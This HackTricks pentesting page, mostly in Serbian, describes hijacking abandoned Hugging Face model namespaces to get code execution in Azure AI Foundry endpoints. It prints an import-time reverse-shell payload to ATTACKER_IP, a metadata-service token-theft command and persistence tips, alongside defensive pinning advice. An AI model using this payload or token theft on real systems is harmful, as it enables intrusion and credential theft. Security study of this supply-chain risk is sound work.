Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Scenarij

  • Katalog modela Azure AI Foundry uključuje mnoge Hugging Face (HF) modele za raspoređivanje jednim klikom.
  • HF identifikatori modela su Author/ModelName. Ako je HF author/org obrisan, bilo ko može ponovo registrovati tog autora i objaviti model sa istim ModelName na nasleđenoj putanji.
  • Pipelines i katalozi koji povlače modele samo po imenu (bez commit pinning/integrity) će rezolvirati na repozitorijume koje kontroliše napadač. Kada Azure deploy-uje model, loader code može da se izvrši u okruženju endpointa, omogućavajući RCE sa permisijama tog endpointa.

Uobičajeni HF takeover slučajevi:

  • Ownership deletion: Stara putanja vraća 404 dok ne dođe do takeover-a.
  • Ownership transfer: Stara putanja vraća 307 na novog autora dok stari autor postoji. Ako je stari autor kasnije obrisan i ponovo registrovan, redirect prestaje da važi i napadačev repozitorijum se servira na nasleđenoj putanji.

Identifikovanje ponovo upotrebljivih namespace-ova (HF)

# Check author/org existence
curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available

# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover

Kompletan tok napada protiv Azure AI Foundry

  1. U Model Catalog, pronađi HF modele čiji su originalni autori obrisani ili prebačeni (stari autor uklonjen) na HF.
  2. Ponovo registruj napuštenog autora na HF i ponovo kreiraj ModelName.
  3. Objavi zlonamerni repo sa loader kodom koji se izvršava pri importu ili zahteva trust_remote_code=True.
  4. Rasporedi nasleđeni Author/ModelName iz Azure AI Foundry. Platforma povuče repo napadača; loader se izvršava unutar Azure endpoint container/VM, rezultujući RCE sa dozvolama endpointa.

Primer fragmenta payload-a koji se izvršava pri importu (samo za demonstraciju):

# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading

def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images

if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()

Beleške

  • AI Foundry implementacije koje integrišu HF obično kloniraju i importuju repo module koji se referenciraju u konfiguraciji modela (npr. auto_map), što može pokrenuti izvršavanje koda. Neki putevi zahtevaju trust_remote_code=True.
  • Pristup obično odgovara dozvolama managed identity/service principal endpointa. Smatrajte to početnim access foothold-om za pristup podacima i lateral movement unutar Azure.

Post-Exploitation Tips (Azure Endpoint)

  • Enumerate environment variables and MSI endpoints for tokens:
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
  • Proverite montirano skladište, model artifacts i dostupne Azure services koristeći pribavljeni token.
  • Razmotrite persistence ostavljanjem poisoned model artifacts ako platforma ponovo povuče iz HF.

Odbrambene smernice za korisnike Azure AI Foundry

  • Pin models by commit when loading from HF:
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
  • Mirror proverene HF modele u pouzdan interni registry i deploy-ujte odatle.
  • Kontinuirano skenirajte codebases i defaults/docstrings/notebooks radi hard-coded Author/ModelName koji su obrisani/transferisani; ažurirajte ili pin-ujte.
  • Proverite postojanje autora i poreklo modela pre deployment-a.

Recognition Heuristics (HTTP)

  • Deleted author: author stranica vraća 404; legacy model path vraća 404 dok ne dođe do preuzimanja.
  • Transferred model: legacy path vraća 307 na novog autora dok stari autor postoji; ako se stari autor kasnije obriše i ponovo registruje, legacy path može služiti zlonamerni sadržaj.
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"

Međureferencije

  • Pogledajte širu metodologiju i napomene o lancu snabdevanja:

Pentesting Cloud Methodology

Izvori

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks